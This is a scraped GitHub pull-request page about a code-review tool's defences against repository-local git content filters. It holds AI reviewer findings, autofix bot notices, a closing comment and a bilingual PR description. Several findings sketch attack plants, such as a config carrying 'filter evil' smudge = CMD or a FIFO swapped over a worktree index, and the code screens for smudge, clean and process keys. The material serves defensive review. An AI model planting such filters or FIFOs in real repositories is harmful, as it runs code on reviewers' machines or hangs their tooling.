There was a problem hiding this comment.
[Critical] R8-6: Still stands at round 16 (from round 8; deferred with a recorded plan in rounds 8-14). runnerOptions still carries only cwd/encoding/timeout/killSignal/stdio/detached — no env override — so the probe suite runs with the reviewer's real HOME, and sanitizedGitEnv() only strips GIT_CONFIG_GLOBAL from the pipeline's OWN spawns. The premise 'a probe's planting surface is the repo' is false while the suite inherits the host environment.
Failure scenario: Executed PR test code reads and writes the reviewer's real HOME (ssh agents, git config, credentials files) — a persistence and exfiltration surface the isolation machinery claims to close.
Witness: witness: not run — claim is a code trace re-verified at this commit: runnerOptions at test-efficacy.ts:2035 still carries no env override.
Suggested fix: Give runnerOptions an env built from sanitizedGitEnv() plus an isolated HOME, per the recorded plan.
中文说明
R8-6：第 16 轮仍然存在（第 8 轮提出；第 8-14 轮有记录的顺延）。runnerOptions 仍无 env 覆盖——探针套件带着评审者真实 HOME 运行；sanitizedGitEnv 只剥离管线自身 spawn 的 GIT_CONFIG_GLOBAL。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| const candidates = [ | ||
| join(common, 'config'), | ||
| join(common, 'config.worktree'), |
There was a problem hiding this comment.
[Critical] R14-1: Still stands at round 16's posture (from round 14; escalated for a maintainer decision, answer still pending). The screen permanently refuses legitimate, git-authored repo-local state the pipeline never plants: any include.path/includeIf.*.path key in the candidate files refuses fail-closed (regex at :995), beside core.fsmonitor, core.sparseCheckout, promisor keys and single-branch-clone refspecs — so every repository whose local config uses includes (a mainstream git feature, and the PR body's own 'known gap' section names the include divergence) is unreviewable until a human edits its config. The escalation recorded two options: (a) keep the fail-closed refusal for this PR and fix the PR body's Known-gap section to state the shipped posture; (b) neutralize/value-judge per key. Neither has landed; the PR body still describes the pre-fix posture.
Failure scenario: A contributor whose repo uses include directives (or git-lfs-style legitimate config the screen's siblings refuse) gets every review refused with no path back — a permanent tripwire on healthy state, the failure shape the issue's load-bearing warning names.
Witness: witness: round-14 live measurements (quoted round 15): legitimate git-authored repo-local config (include directives beside the fsmonitor/sparseCheckout/promisor/single-branch shapes) refused by the screen; posture escalated for a maintainer decision, answer pending.
Suggested fix: Maintainer decision required: posture (a) with a PR-body correction, or (b) per-key value judgment (--show-origin style, refusing only executable values of repo-local origin).
中文说明
R14-1：按第 14 轮立场仍然存在（已升级等待维护者决定）。屏蔽对合法、git 生成的仓库本地状态永久拒绝（include 指令、core.fsmonitor、core.sparseCheckout、promisor 键、单分支克隆 refspec）——健康仓库被永久拒。两条路线仍待决定：(a) 保留 fail-closed 并修正 PR 正文『已知缺口』节；(b) 按键做值判定（--show-origin，仅拒仓库本地来源的可执行值）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| '-c', | ||
| 'core.fsmonitor=', | ||
| 'check-ignore', |
There was a problem hiding this comment.
[Critical] R14-3: Still stands at round 16 (from round 14; witness upgraded in round 15; re-derived this round). The residue-probe spawns this diff pins with -c core.fsmonitor= (check-ignore here, ls-files in trackedIgnoreSources) and their worktreeResidue siblings (rev-parse discovery, rev-parse HEAD, status, ls-files --others) carry no timeout/killSignal, while the diff applies SCREEN_SPAWN_TIMEOUT_MS + SIGKILL to the screen spawns for exactly this hazard.
Failure scenario: Malicious PR code does one mkfifo+rename over the shared review worktree's index at /worktrees//index — localFilterRefusal never sees it (its candidates are config files). The next worktreeResidue call — scratch-tree.ts:505 on every scratch create/reset, agent-prompt.ts on every round's prompt build (with no screen ahead) — blocks in open() on the FIFO; the review CLI blocks indefinitely with no error output, and the plant persists in the never-wiped common dir.
Witness: measured this round: git ls-files against a FIFO'd index blocks until killed (SIGKILL at 3s in the probe); the commit's own restore-checkout test plants a FIFO over the per-worktree index and asserts ETIMEDOUT within 7.5s — but bounded only that one spawn.
Suggested fix: Add timeout: SCREEN_SPAWN_TIMEOUT_MS (+ killSignal 'SIGKILL') to the worktreeResidue spawns — at minimum the check-ignore/ls-files pair this diff touches; the existing error branches already map r.error to a fail-closed 'unmeasured' verdict.
Fix witness: please land this with the pinning test — a worktreeResidue test mirroring the restore-checkout witness: mkfifo+rename over a linked worktree's admin-dir index, assert it returns unmeasured inside the bound; remove the timeout and the test hangs red.
中文说明
R14-3：第 16 轮仍然存在（第 14 轮提出；本轮再推导）。residue 探针 spawn（本 diff 钉了 -c core.fsmonitor= 的 check-ignore/ls-files 及其 worktreeResidue 兄弟）无 timeout/killSignal；对每工作树 index 的 mkfifo+rename 即可让 scratch-tree 创建/重置与 agent-prompt 的每次调用无限挂起（无屏蔽在前）。实测：FIFO 化 index 阻塞直到被杀。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if (v.status === 1) { | ||
| unreadable.push({ file, detail: 'changed between the screen reads' }); |
There was a problem hiding this comment.
[Critical] R15-2: Still stands at round 16 (new in round 15; exit-0 shape re-derived with a fix witness this round). The two-read swap detector this PR added is asymmetric: it refuses only when the value read exits 1 (the enumerated remote..fetch key vanished). A config swapped in between the two reads that still carries that key — any valid value, e.g. the clone-default refspec — is judged exit 0 on the swapped-in bytes while the filter/transport/include lists still reflect pass 1.
Failure scenario: A probe plant swapped into /config between the two reads, shaped [filter "evil"] smudge = CMD plus [remote "origin"] fetch = +refs/heads/:refs/remotes/origin/, makes pass 2 exit 0 on the benign refspec; the added filter key is never enumerated, all classification lists stay empty, localFilterRefusal returns null, and the certified checkout EXECUTEs the planted smudge — the exact persistence channel this PR exists to close. The diff's own swapper test demonstrates the window is routinely hittable; the test's plant contains no fetch key, so the suite only ever observes the exit-1 refusal. A still-wider variant: any candidate file that carried no remote.*.fetch at pass 1 (e.g. /config.worktree) gets no second read at all.
Witness: this round's re-derivation: against the committed two-pass code a swap landing in the window with the benign-fetch plant answers null on every hit (sawSwapRefusal never turns true), while the exit-1 plant refuses ~1-in-2 calls.
Suggested fix: Make the two reads vouch for each other: re-run the full enumeration regex over each candidate file after the value read (or fold names into the --null value read) and refuse with the 'changed between the screen reads' detail when the key set differs from pass 1, instead of special-casing only exit 1.
Fix witness: please land this with the pinning test — a swap-test variant whose plant content carries the benign clone-default remote.origin.fetch beside filter.evil.smudge, asserting a between-reads refusal within the loop; the current code returns null on every hit, so the test is red until the sandwich re-enumeration lands.
中文说明
R15-2：第 16 轮仍然存在（第 15 轮提出；本轮以修复见证再推导）。双读交换检测器不对称：只在值读退出 1 时拒绝；交换入内容若仍带 remote..fetch（任意合法值）则退出 0 认证通过，而过滤/传输/include 列表仍反映第一次读——植入的 filter 键永不被枚举，被认证的 checkout 执行植入的 smudge。修复：值读后用完整枚举正则复核每个候选文件，键集不一致即拒绝。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // regular-file + readable gate the candidates carry is the whole screen | ||
| // they need, and anything else fails closed the same way. | ||
| for (const dir of new Set([common, resolve(worktree, gitDir)])) { | ||
| for (const name of ['attributes', 'exclude']) { |
There was a problem hiding this comment.
[Critical] R15-3: Still stands at round 16 (new in round 15). The screen's data-file gate covers only info/attributes and info/exclude, but every guarded spawn shape also unconditionally opens /objects/info/alternates, objects/info/commit-graph, objects/info/commit-graphs/commit-graph-chain, info/grafts, and packed-refs — a FIFO at any of them hangs the authorised spawn while the screen certifies.
Failure scenario: The documented one-write plant class mkfifos one of the five uncovered data files; the certified checkout/merge-base/existsAtBase spawn blocks in open() with no bound and no refusal — the same hang class the gate exists to fail closed on.
Witness: witness: not run — code trace re-verified at this commit: the gate loop at :906 iterates only ['attributes', 'exclude'], while the guarded spawn shapes unconditionally open alternates/commit-graph/commit-graphs/grafts/packed-refs.
Suggested fix: Extend the regular-file gate to the full set of unconditionally-opened data files (or lstat-gate them at the spawn helpers).
中文说明
R15-3：第 16 轮仍然存在（第 15 轮提出）。数据文件门只覆盖 info/attributes 与 info/exclude，但被守卫的 spawn 还无条件打开 objects/info/alternates、commit-graph、commit-graphs/commit-graph-chain、info/grafts、packed-refs——任一 FIFO 即挂起被认证的 spawn 而屏蔽仍认证。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| const filterRefusal = localFilterRefusal( | ||
| worktree, | ||
| 'the checkouts this command runs', |
There was a problem hiding this comment.
[Critical] R15-4: Still stands at round 16 (new in round 15; race measured winnable). runScratchTree screens once here, then authorizes BOTH the reuse path's checkout --force (after the multi-spawn reset gate and residue measurement) and the rebuild path's worktree add with no re-screen beside either — the sibling of the base-tree race this same PR re-screens because it was measured 6/6 pwnable.
Failure scenario: A concurrent writer (an escaped process, the class R11-8 pins as live) lands a filter plant in the screen-to-checkout window; the authorised checkout executes it. The reuse path widens the window across the reset gate's several spawns.
Witness: witness: round-15 measurement (quoted): the screen-once-then-two-checkouts race measured winnable.
Suggested fix: Re-screen beside each authorised checkout the way base-tree re-screens beside its add.
中文说明
R15-4：第 16 轮仍然存在（第 15 轮提出；竞态实测可赢）。runScratchTree 只在此屏蔽一次，随后重用路径的 checkout --force 与重建路径的 worktree add 都不再屏蔽——与本 diff 因 6/6 可 pwn 而为 base-tree 加二次屏蔽的同族竞态。
— qwen3.8-max via Qwen Code /review (v0.22.2)
commented
Aug 28, 2026
|
🤖 AutoFix stopped: this counting window now contains 3 agent time-budget exhaustions (pushed rounds in between included; this round itself may have failed differently). That is 3 full agent runs that pushed nothing. A human should split or reduce the PR (or raise the agent time budget AND its step backstop together), then comment
See the Qwen Autofix agent step logs for model/tool output. 中文说明🤖 AutoFix 已停止：当前计数窗口内已累计 3 次时间预算耗尽（含其间推送过的轮次；本轮本身可能以别的方式失败）。即 3 次完整 agent 运行没有推送任何内容。应由人工拆分或缩减该 PR（或同时提高 agent 时间预算与其步骤兜底），然后评论 Run log: https://github.com/QwenLM/qwen-code/actions/runs/33153568009 🧠 Handled by Qwen Code · model/模型 |
qwen-code-dev-bot
added
the
autofix/needs-human
commented
Aug 28, 2026
|
⏸️ Takeover paused: this PR reached its round cap (100/100). Comment 中文说明⏸️ 托管已暂停：本 PR 达到轮次上限（100/100）。评论 |
wenshao
removed
autofix/takeover
commented
Aug 28, 2026
|
👋 Takeover released: the autofix loop will no longer engage this PR (an in-flight round, if any, completes its bounded work). Re-apply 中文说明👋 已释放：autofix 循环不再介入此 PR（在飞的一轮如有，将完成其有界工作）。重新打上 |
commented
Aug 28, 2026
|
Closing in favour of #10421, which is this PR's own first commit ( WhyThis PR opened at 5 files / +160 −72 and stands at 19 files / +4741 −469 across 22 commits, with 230 review threads and ~100 unresolved Critical findings. Takeover reached the 100/100 round cap; the autofix loop stopped after three agent time-budget exhaustions and asked for a human to "split or reduce the PR". Round 16's review said the same from the other side: "A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own PR." The growth was not the change under review. Answering each Critical in turn added guards to Where the standing findings go
Nothing here is dismissed as wrong. The findings that survive reduction are recorded above as accepted; the rest describe code that no longer exists. The review history on this PR stays intact for anyone who wants it. Verification for the reduced change (full 中文说明以 #10421 替代本 PR——它是本 PR 自己的第一个提交（ 为什么本 PR 开张时是 5 文件 / +160 −72，现在是 19 文件 / +4741 −469、22 个提交、230 条评审线程、约 100 条未决 Critical。托管到达 100/100 轮次上限；autofix 循环在三次耗尽 agent 时间预算后停机，并要求人类「split or reduce the PR」。第 16 轮评审从另一侧说了同一件事：「一个不断产出兄弟项的簇，通常意味着修复是在处理同一个根因的各个实例——在下一轮之前先归因，或者把独立的簇拆成它自己的 PR。」 膨胀不是被审查的那个改动带来的。逐条回答 Critical 会往 未决发现的去向
这里没有任何一条被当作「错的」而驳回。经缩减仍然成立的发现如上记为接受；其余描述的是已不存在的代码。 本 PR 的评审历史完整保留，供需要的人查阅。缩减后改动的验证（ |
4 participants
What this PR does
Replaces #9566 at its original size. Same single commit, rebased onto current
main, nothing else.scratch-treerefuses to create or reset a tree while the repository's local config defines a content filter: a checkout executesfilter.<name>.smudgewhenever it rewrites a file, and pointingcore.hooksPathat nothing covers hooks, not filters.test-efficacy's per-run restore is the same checkout one directory over —checkout --force HEAD -- .rewrites every tracked file in the probe tree, twice per probe run — and it screened nothing.Three changes: the screen runs before the probe tree's restore; it moves to
lib/worktree.tsso both callers share one implementation instead of one growing a corner the other lacks; andfilter.<name>.processjoinssmudgeandcleanas the third executable key.Why a new PR
#9566 was this commit plus six more that grew it from 5 files / +160 to 13 files / +3 054 — into
base-tree.ts,fetch-pr.tsandlib/git.ts, none of which this change is about. The point of splitting the #9221 follow-ups was that each one stay small enough to read. Opening a replacement rather than force-pushing keeps #9566's review history intact for anyone who wants it.Why repo-local only — the load-bearing part
git lfs installwritesfilter.lfs.cleaninto the user's global config. A screen over merged config would put every contributor with git-lfs into permanent refusal — the same failure as a tripwire that fires on every healthy run, which this pipeline has already shipped once (#9221 round 15:git statusreported nothing while the tripwire reported 3 957 paths).Known gap, deliberately not fixed here
git config --filedoes not expandinclude.path/includeIf— that is git's documented default for--file— while the checkouts this screen authorises read merged config, which does. A filter reached through an include directive therefore passes the screen.The finding is real. The obvious fix is not: adding
--includesmakes the screen follow aninclude.paththat names the user's own global config, which dragsfilter.lfs.cleanback in and reproduces exactly the permanent-refusal failure the paragraph above exists to avoid. Doing it correctly means resolving each hit's origin file (--show-origin) and refusing only when that origin is repo-local — which is its own change, with its own tests, and does not belong in a PR whose purpose is to be small again.Reviewer Test Plan
How to verify
cd packages/cli && npx vitest run src/commands/review→ 4 504 passed, 1 skipped, 0 failed.New coverage in
test-efficacy.test.ts: a repo-localfilter.evil.smudgemakes the mutant runinconclusivenaming the filter; the same fixture with the filter moved to the user's global config runs through without a filter refusal.scratch-tree.test.tsgains thefilter.evil.processarm.Evidence (Before & After)
Each half verified by reverting it alone and watching the test go red:
test-efficacy--filedropped)processfrom the key regexfilter.evil.processno longer refusesThe middle row is the one worth reading: it is the false-positive direction, and without a test it is the change a later round would make while "tightening" the screen.
Tested on
macOS 26.6 (Darwin 25.6.0), Node 24,
packages/clivitest 3.2.4.Risk & Scope
Small and confined to
packages/cli/src/commands/review. One new refusal path in the efficacy probe: a repository whose local config carries a content filter reportsinconclusivefor that run instead of running the filter. No user-facing surface.Linked Issues
Closes #9558. Replaces #9566. Follow-up from #9221; the class it belongs to is #9556.
中文说明
这个 PR 做了什么
以原始尺寸替代 #9566。同一个提交，重新基于当前
main，没有别的东西。scratch-tree在仓库本地配置定义了内容过滤器时拒绝创建或重置树：checkout 每次重写文件都会执行filter.<name>.smudge，而把core.hooksPath指向空处只覆盖钩子、覆盖不到过滤器。test-efficacy每次运行前的恢复是同一种 checkout 挪了一个目录——checkout --force HEAD -- .会重写探针树里每个已跟踪文件、每次探针运行两次——而它什么也没屏蔽。三处改动：屏蔽在探针树恢复之前执行；移到
lib/worktree.ts让两个调用方共用一份实现，而不是其中一个长出另一个没有的角落；filter.<name>.process作为第三个可执行键与smudge、clean并列。为什么新开 PR
#9566 是这个提交外加另外六个，把它从 5 文件 / +160 撑到 13 文件 / +3 054，摊进了
base-tree.ts、fetch-pr.ts、lib/git.ts——都不是本改动要谈的东西。拆 #9221 后续项的意义，就在于每一个都小到能读完。开替代 PR 而不是 force-push，是为了让 #9566 的评审历史对需要的人完整保留。为什么只看仓库本地——这是承重部分
git lfs install会把filter.lfs.clean写进用户的全局配置。对合并后配置做屏蔽，会让每个装了 git-lfs 的贡献者永久处于拒绝态——与"每次健康运行都触发的绊线"是同一种失败，而本流水线已经犯过一次（#9221 第 15 轮：git status一条没有，绊线报 3 957 条路径）。已知缺口，本 PR 有意不修
git config --file不会展开include.path/includeIf——这是 git 对--file的文档化默认——而本屏蔽所授权的 checkout 读的是合并后配置，是会展开的。因此经由 include 指令到达的过滤器能通过屏蔽。这条发现成立。但显而易见的那个修法不成立：加上
--includes会让屏蔽跟随一条指向用户自己全局配置的include.path，从而把filter.lfs.clean拖回来，精确复刻上一段所要避免的永久拒绝。要做对，需要解析每个命中的来源文件（--show-origin）、仅当来源是仓库本地时才拒绝——那是它自己的一次改动、有它自己的测试，不属于一个"目的就是重新变小"的 PR。审查者验证方案
如何验证
cd packages/cli && npx vitest run src/commands/review→ 4 504 通过、1 跳过、0 失败。test-efficacy.test.ts新增覆盖：仓库本地的filter.evil.smudge让突变体运行判为inconclusive并点名该过滤器；同一夹具把过滤器改放到用户全局配置后，运行照常通过、不产生过滤器拒绝。scratch-tree.test.ts增加filter.evil.process一臂。证据（Before & After）
每一半都以"单独回退该项 → 对应测试变红"验证（见上表）。中间那一行最值得看：它是误报方向；没有这条测试，它正是后来某一轮在"收紧"屏蔽时会做出的改动。
测试环境
macOS 26.6（Darwin 25.6.0）、Node 24、
packages/clivitest 3.2.4。风险与范围
小，且限于
packages/cli/src/commands/review。效力探针新增一条拒绝路径：本地配置带内容过滤器的仓库，该次运行报inconclusive而不是执行过滤器。无用户可见面。关联 Issue
Closes #9558。替代 #9566。来自 #9221 的后续；所属类别是 #9556。